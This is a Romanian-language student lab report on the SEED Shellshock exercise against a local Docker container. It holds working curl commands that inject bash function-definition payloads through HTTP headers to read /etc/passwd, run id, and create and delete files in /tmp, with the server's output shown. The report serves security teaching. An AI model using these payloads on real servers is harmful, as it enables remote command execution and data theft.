

Raport pentru lucrarea 7: Atacul Shellshock

Autor: Birlutiu Claudiu-Andrei, gr 30643

Sarcina 1: Experimente cu funcțiile Bash

- În prima faza mi-am creat environmentul de lucru prin construirea și pornirea container-ului **victim-10.9.0.80**

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiu_Cod$ dcbuild
Building victim
Step 1/6 : FROM handsontsecurity/seed-server:apache-php
--> 2365d0ed3ad9
Step 2/6 : COPY bash_shellshock /bin/
--> Using cache
--> 896c00c4d8bb
Step 3/6 : COPY vul.cgi getenv.cgi /usr/lib/cgi-bin/
--> Using cache
--> 23f5ae48e27e
Step 4/6 : COPY server_name.conf /etc/apache2/sites-available
--> Using cache
--> 17ffa21f4212
Step 5/6 : RUN chmod 755 /bin/bash_shellshock && chmod 755 /usr/lib/cgi-bin/*.cgi && a2ensite server_name.conf
--> Using cache
--> 49006c775a4b
Step 6/6 : CMD service apache2 start && tail -f /dev/null
--> Using cache
--> ac9bec13fab9

Successfully built ac9bec13fab9
Successfully tagged seed-image-www-shellshock:latest
[04/26/23]seed@VM:~/.../BirlutiuClaudiu_Cod$ dcup
Creating victim-10.9.0.80 ... done
Attaching to victim-10.9.0.80
victim-10.9.0.80 | * Starting Apache httpd web server apache2 *
```

- În et/hosts se va adauga intreare www.seedlab-shellshock.com pentru adresa 10.9.0.80 pentru simularea intrarii în DNS

```
GNU nano 4.8 /etc/hosts
10.9.0.5 www.xsslabelgg.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
10.9.0.5 www.example60.com
10.9.0.5 www.example70.com

# For CSRF Lab
10.9.0.5 www.csrflabelgg.com
10.9.0.5 www.csrfab-defense.com
10.9.0.105 www.csrfab-attacker.com

# For Shellshock Lab
10.9.0.80 www.seedlab-shellshock.com
#For L06 lab
10.9.0.80 www.birlutiu2023.com
10.9.0.80 www.emag.ro

^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos
^X Exit ^R Read File ^N Replace ^U Paste Text ^T To Spell ^_ Go To Line
```

- am accesat programul CGI folosind programul curl din linia de comanda; astfel s-a rulat scriptul shell pe care l-am adăugat pentru afișarea unui mesaj de forma Hello World

```
[04/26/23] seed@VM:~/.../BirlutiuClaudiu_Cod$ sudo nano /etc/hosts
[04/26/23] seed@VM:~/.../BirlutiuClaudiu_Cod$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

Hello World
[04/26/23] seed@VM:~/.../BirlutiuClaudiu_Cod$
```

- vizualizare versiune bash vulnerabilă în directorul /bin de pe container

base64	cd.gotm	sensible-pager
basename	ldd	seq
bash	libnetcfg	setarch
bash_shellshock	link	setpriv
bashbug	linux32	setsid
bunzip2	linux64	setterm
bzcat	ln	sg
bzcmp	lnstat	sh

- vulnerabilitatea pe care o prezintă un bash (vulnerabil) este că procesul părinte poate transmite o definiție de funcție altui proces copil folosind o variabilă de mediu => datorită unei erori în procesul de parsare a funcției, bash poate să execute o comandă/o parte din variabila de mediu cum ar fi un bash script; în cazul nostru, eu voi afișa un mesaj => "Te-am atacat" folosind un bash vulnerabil de pe container

CAZ BASH VULNERABIL

- atac='() { echo "Hei bash child"; }; echo "Te-am atacat";' - declarăm într-o variabilă definiția unei funcții urmată de un cod de atac la nivelul bash-ului părinte
- export atac
- bash_shellshock -- se va rula bash-ul vulnerabil, iar la pasărea definiției variabilei atac, se va executa mai întâi codul de atac (cel subliniat)

```
[04/26/23] seed@VM:~/.../BirlutiuClaudiu_Cod$ docksh 104e9f7d6a85
root@104e9f7d6a85:/# atac='() { echo "Hei bash child"; }; echo "Te-am atacat";'
root@104e9f7d6a85:/# echo $atac
() { echo "Hei bash child"; }; echo "Te-am atacat";
root@104e9f7d6a85:/# export atac
root@104e9f7d6a85:/# bash_shellshock
Te-am atacat
root@104e9f7d6a85:/# echo $atac

root@104e9f7d6a85:/# declare -f atac
atac ()
{
    echo "Hei bash child"
}
root@104e9f7d6a85:/# atac
Hei bash child
root@104e9f7d6a85:/#
```

CAZ BASH NEVULNERABIL

- executam aceiași pași și observam ca nu vom avea functia atac în procesul copil deschis cu un bash nevulnerabil

```
root@104e9f7d6a85:/# atac='() { echo "Hei bash child"; }; echo "Te-am atacat";'
root@104e9f7d6a85:/# echo $atac
() { echo "Hei bash child"; }; echo "Te-am atacat";
root@104e9f7d6a85:/# export atac
root@104e9f7d6a85:/# bash
root@104e9f7d6a85:/# declare -f atac
root@104e9f7d6a85:/# atac
bash: atac: command not found
root@104e9f7d6a85:/#
```

Sarcina 2: Trimiterea de date spre Bash printr-o variabilă de mediu

Sarcina 2.A. Folosirea browserului

- Se vor trimite date spre bash într-un program CGI bazat pe bash, prin variabile de mediu
- se folosește programul **getenv.cgi** de pe serverul containerizat pentru indentificarea datelor de la utilizator ce pot ajunge în variabilele de mediu ale programului
 - în acest program exista o comanda care în momentul în care este executata se vor tipări variabile (conținutul lor) de mediu din procesul curent
- am instalat extensia Http Header Live și am introdus în bara de search următorul link prin care se va executa scriptul din getenv.cgi din container -> se vor afișa toate variabilele procesului curent

```

***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_CONNECTION=keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=44592
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi

http://www.seedlab-shellshock.com/cgi-bin/getenv
Host: www.seedlab-shellshock.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
GET: HTTP/1.1 200 OK
Date: Wed, 26 Apr 2023 22:42:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 602
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain

http://www.seedlab-shellshock.com/favicon.ico
Host: www.seedlab-shellshock.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.seedlab-shellshock.com/cgi-bin/getenv
GET: HTTP/1.1 404 Not Found
Date: Wed, 26 Apr 2023 20:16:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 288
Content-Type: text/html; charset=iso-8859-1
    
```

- am urmărit de asemenea și în wireshark cererea spre server

tcp.stream eq 0						
No.	Time	Source	Destination	Protocol	Length	Info
1	2023-04-26 18:4...	10.9.0.1	10.9.0.80	TCP	74	44602 → 80 [SYN] Seq=4155349371 Win=64240 Len=0 MSS=1460 SACK...
2	2023-04-26 18:4...	10.9.0.80	10.9.0.1	TCP	74	80 → 44602 [SYN, ACK] Seq=328551681 Ack=4155349372 Win=65160 ...
3	2023-04-26 18:4...	10.9.0.1	10.9.0.80	TCP	66	44602 → 80 [ACK] Seq=4155349372 Ack=328551682 Win=64256 Len=0...
4	2023-04-26 18:4...	10.9.0.1	10.9.0.80	HTTP	429	GET /cgi-bin/getenv.cgi HTTP/1.1
5	2023-04-26 18:4...	10.9.0.80	10.9.0.1	TCP	66	80 → 44602 [ACK] Seq=328551682 Ack=4155349735 Win=64896 Len=0...
6	2023-04-26 18:4...	10.9.0.80	10.9.0.1	HTTP	905	HTTP/1.1 200 OK (text/plain)
7	2023-04-26 18:4...	10.9.0.1	10.9.0.80	TCP	66	44602 → 80 [ACK] Seq=4155349735 Ack=328552521 Win=64128 Len=0...
8	2023-04-26 18:4...	10.9.0.1	10.9.0.80	TCP	66	44602 → 80 [FIN, ACK] Seq=4155349735 Ack=328552521 Win=64128 ...
9	2023-04-26 18:4...	10.9.0.80	10.9.0.1	TCP	66	80 → 44602 [FIN, ACK] Seq=328552521 Ack=4155349736 Win=64896 ...
10	2023-04-26 18:4...	10.9.0.1	10.9.0.80	TCP	66	44602 → 80 [ACK] Seq=4155349736 Ack=328552522 Win=64128 Len=0...

Wireshark · Follow HTTP Stream (tcp.stream eq 0) · br-1ee11a571e21

```

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Wed, 26 Apr 2023 22:46:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 601
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain

***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_CONNECTION=keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=44602
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
  
```

Packet 6. 1 client pkt, 1 server pkt, 1 turn. Click to select.

Entire conversation (1,647 bytes) Show and save data as ASCII Find Next

Sarcina 2.B. Utilizarea *curl*

- Aceasta comanda **curl** se poate folosi pentru setarea variabilelor de mediu la valori arbitrare deoarece prin aceasta comanda putem controla majoritatea campurilor dintr-o solicitare http
- verificare opțiuni pentru metoda **curl**
 - -v → va tipari antetul cererii http
 - curl -v <http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi>
 - va tipari si antetul cererii http la accesul spre server

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 26 Apr 2023 22:57:21 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=curl/7.68.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>
SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu)
SERVER_NAME=www.seedlab-shellshock.com
SERVER_ADDR=10.9.0.80
SERVER_PORT=80
REMOTE_ADDR=10.9.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi
REMOTE_PORT=44636
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/getenv.cgi
SCRIPT_NAME=/cgi-bin/getenv.cgi
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

- -A -> va permite specificarea unui șir de caractere pentru a fi trimis ca șir User-Agent (un șir de caractere care identifică browserul sau alt client care face cererea către serverul web) în antetul cererii
 - curl -A "BirlutiuAgent" -v <http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi>
 - se va seta user agent la BirlutiuAgent

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -A "BirlutiuAgent" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: BirlutiuAgent
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 26 Apr 2023 23:02:38 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
```

- -e -> specifica o adresa URL pentru a fi folosită ca referință în antetul "Referer" al cererii HTTP (indică pagina web de pe care a fost inițiată cererea curentă)
 - curl -e "<http://www.birlutiuclaudiu.com/>" -v <http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi>

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -e "http://www.birlutiuclaudiu.com/" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Referer: http://www.birlutiuclaudiu.com/
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
```

- -H -> va permite să se specifice un antet suplimentar HTTP pentru cererea HTTP (pot include informații despre ce tip de conținut avem sau chiar date de autentificare)
 - curl -H "Authorization: Bearer dadasdadasdasdd" -v <http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi>

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "Authorization: Bearer dadasdadasdasdd" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Authorization: Bearer dadasdadasdasdd
```

Am combinat toate aceste optiuni într-o singura comanda și am observat ca am modificat variabilele de mediu din cadrul procesului deschis în bash astfel:

- `curl -A "BirlutiuAgent" -e "www.birlutiu.com" -H "STRING: ATAC" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi`

```
[04/26/23]seed@VM:~/BirlutiuClaudiuAndrei$ curl -A "BirlutiuAgent" -e "www.birlutiu.com" -H "STRING: ATAC" -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
i
* Trying 10.9.0.80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/getenv.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: BirlutiuAgent
> Accept: /*/*
> Referer: www.birlutiu.com
> STRING: ATAC
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 26 Apr 2023 23:17:48 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
***** Environment Variables *****
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=BirlutiuAgent
HTTP_ACCEPT=/*/*
HTTP_REFERER=www.birlutiu.com
HTTP_STRING=ATAC
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
server: Apache/2.4.41 (Ubuntu)
Server-Status: 10.9.0.80:80
Server-Port: 80
Server-URL: http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi
```

- observam cum putem injectat variabile de mediu sau ale modifica în cardul procesului curent cu ajutorul optiunilor date, **mai ales prin optiunea -H**
- astfel, având puterea de a seta niște variabile noi pentru proces, putem sa includem o declarare de funcție urmata de codul de atac prin care putem obtine acces la resursele dorite

Sarcina 3: Lansarea atacului Shellshock

Sarcina 3.A. Trimiterea fișierului /etc/passwd

- Ne vom folosi de **optiunea -A** a lui curl in felul urmatoar:
 - valoarea variabilei de mediu **User-Agent** va fi setata la valoarea:
 - "() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"
 - comanda întreaga:
 - curl -A "() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
 - in ruma executiei comenzii vom obtine conturile de utilizator existente pe server

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -A "() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: () { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 26 Apr 2023 23:41:07 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

Sarcina 3.B. ID-ul de utilizator al procesului server

- Ne vom folosi de **optiunea -e** a lui curl in felul urmatoar:
 - valoarea variabilei de mediu **HTTP-REFERER** va fi setata la valoarea:
 - `() { echo salut;}; echo Content_type: text/plain; echo; /bin/id`
 - comanda întreaga:
 - `curl -e "()" { echo salut;}; echo Content_type: text/plain; echo; /bin/id" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`
 - in urma executiei comenzii vom obtine id-ul de utilizator al procesului

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -e "()" { echo salut;}; echo Content_type: text/plain; echo; /bin/id" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> Referer: () { echo salut;}; echo Content_type: text/plain; echo; /bin/id
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 26 Apr 2023 23:47:40 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

Sarcina 3.C. Crearea unui fișier în /tmp

- Ne vom folosi de **optiunea -H** a lui curl pentru a reusi sa cream un fisier temporar in tmp iar apoi sa listam continutul fisierului tmp printr-un alt atac
 - valoarea variabilei de mediu **HTTP-BIRLUTIU** va fi setata la valoarea:
 - "()" { echo salut;}; /bin/touch /tmp/BirlutiuAtac.txt"
 - comanda întreaga:
 - curl -H "BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/touch /tmp/BirlutiuAtac.txt" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
 - in ruma executiei comenzii se va crea un fisier BirlutiuAtac.txt in directorul tmp.

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/touch /tmp/BirlutiuAtac.txt" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIU: () { echo salut;}; echo Content_type: text/plain; echo; /bin/touch /tmp/BirlutiuAtac.txt
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 00:00:55 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

- Pentru a verifica continutul directorului /tmp vom rula urmatoarea comanda care va lista continutul acestului folder, tot prin injectarea unei variabile numite **HTTP_BIRLUTIU2**
 - curl -H "BIRLUTIU2: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIU2: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIU2: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 00:02:01 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content type: text/plain
< Transfer-Encoding: chunked
<
total 0
-rw-r--r-- 1 www-data www-data 0 Apr 27 00:00 BirlutiuAtac.txt
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

Sarcina 3.D. Ștergerea fișierului din /tmp

- Pentru ștergere fișierului voi face o abordare similară celei prezentate la punctul anterior
 - **ștergere:** `curl -H "BIRLUTIUȘTERGERE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/rm /tmp/BirlutiuAtac.txt" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`
 - **afisare:** `curl -H "BIRLUTIUAFISARE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi`

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIUȘTERGERE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/rm /tmp/BirlutiuAtac.txt" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIUȘTERGERE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/rm /tmp/BirlutiuAtac.txt
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 00:07:44 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-type: text/plain
< Transfer-Encoding: chunked
<
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -H "BIRLUTIUAFISARE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp" -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
> BIRLUTIUAFISARE: () { echo salut;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 27 Apr 2023 00:07:59 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-type: text/plain
< Transfer-Encoding: chunked
<
total 0
* Connection #0 to host www.seedlab-shellshock.com left intact
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$
```

- observam că numărul de fișiere din tmp e 0, deci fișierul BirlutiuAtac.txt s-a șters

Intrebarea 1: veti putea fura continutul fisierului/etc/shadowde pe server? De ce da sau de ce nu? Informatiile obtinute in Sarcina 3.B ar trebui sa va ofere un indiciu

- **NU**-acest fișier este protejat prin permisiuni de acces, astfel încât să fie accesibil doar de către utilizatorul "root" sau un alt utilizator cu drepturi de administrare → observam ca id-ul utilizator al procesului este 33 www-data care nu are privilegiu de a accesa acest fișier (nu este root)

Intrebarea 2: solicitarile HTTP GET ataseaza de obicei date in adresa URL, dupa marca "?". Acest lucru ar putea fi o alta abordare pe care o putem folosi pentru a lansa atacul. In exemplul urmatoar, atasam cateva date in URL si am constatat ca datele sunt folosite pentru a seta urmatoarea variabila de mediu: QUERY_STRING=.

...

- AM incercat varianta urmatoare dar am obtinu eroare, la fel si daca nu pun continutul intre ""
 - `curl -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi?"() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"`
- => nu putem

```
[04/26/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ curl -v http://www.seedlab-shellshock.com/cgi-bin/vul.cgi?"() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd"
* Trying 10.9.0.80:80...
* TCP_NODELAY set
* Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)
> GET /cgi-bin/vul.cgi?"() { echo salut;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd HTTP/1.1
> Host: www.seedlab-shellshock.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Date: Thu, 27 Apr 2023 00:24:04 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 318
< Connection: close
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
